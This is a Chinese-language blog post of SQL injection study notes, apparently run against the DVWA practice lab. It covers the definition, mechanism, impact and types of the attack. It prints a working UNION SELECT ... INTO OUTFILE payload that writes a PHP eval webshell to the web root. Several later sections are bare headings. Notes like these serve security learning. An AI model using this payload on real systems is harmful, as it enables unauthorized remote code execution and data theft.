首页 > 数据库 >SqlInjection

SqlInjection

时间:2023-02-15 19:55:50浏览次数:58  
标签:SQL into SqlInjection outfile mysql 输入 注入

SQL注入

一、漏洞简介

结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于 数据库中的标准数据查询语言。1986年10月,美国国家标准学会对SQL进行规范后,以此作为关 系式数据库管理系统的标准语言(ANSI X3. 135-1986),1987年得到国际标准组织的支持下成 为国际标准。不过各种通行的数据库系统在其实践过程中都对SQL规范作了某些编改和扩充。所 以,实际上不同数据库系统之间的SQL不能完全相互通用。

二、漏洞原理

SQL注入,一般指web应用程序对用户输入数据的合法性没有校验或过滤不严,攻击者可以在 web应用程序中事先定义好的查询语句结尾添加额外的SQL语句,在系统运维人员不知情的情况 下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询操作,从而进一步得到相 应的数据信息。 简而言之就是,攻击者通过系统正常的输入数据的功能,输入恶意数据,而系统 又未作任何的校验,直接信任了用户输入,使得恶意输入改变原本的SQL逻辑或者执行了额外的 SQL查询语句,从而造成了SQL注入攻击。

三、漏洞危害

危害较高的漏洞,可以获取敏感信息,修改信息,脱库,上传webshell,执行命令。

四、SQL注入分类

4.1 数字型

4.2 字符型

4.3 Union注入 (联合查询注入)

4.4 报错注入

4.5 盲注

4.6 堆叠查询注入

4.7 二次注入

4.8 宽字节注入

4.9 http header 和 cookie注入

五、从Mysql注入到Getshell

Mysql支持向外写文件(这里的“外”是指服务器内部),需要用到mysql select into outfile命令: 在mysql数据库中存在mysql select into outfile命令,该命令的作用是将被选择的一行写入一个文件 中,文件被创建到服务器上。 其中,into outfile的使用前提是:

(1)要知道网站的绝对路径,可以通过开源程序、报错信息、phpinfo界面、404界面等一些方式知道 (2)要有mysql file权限(即能否对系统的文件读取和写操作),默认情况下只有root权限有

(3)对目录要有写权限,一般image之类的存放图片的目录有写权限 还要注意:写的文件名一定是在网站中不存在的,不然会失败。 我们使用into outfile 写入一句话木马,文件名为shell.php:

' union select 1,"<?php eval($_POST['a']);" into outfile
'/var/www/html/shell2.php

在 DVWA Low 等级的 SQL Injection中输入

image-20230215193943995

image-20230215194233344

image-20230215194458045

image-20230215194619894

image-20230215194638639

六、SQL注入绕过

七、SQL防御

八、SQLmap使用

标签:SQL,into,SqlInjection,outfile,mysql,输入,注入
From: https://www.cnblogs.com/loayskt/p/17124459.html

相关文章

  • 代码审计(Java)——WebGoat_SqlInjection
    一、SqlInjection_introduction1.这里level1-8就不说了,都是介绍+简单的sql语句,直接上level9这里可以看到,是给出了选择框的一道题,OWASP真不错,生怕你不会哈哈~......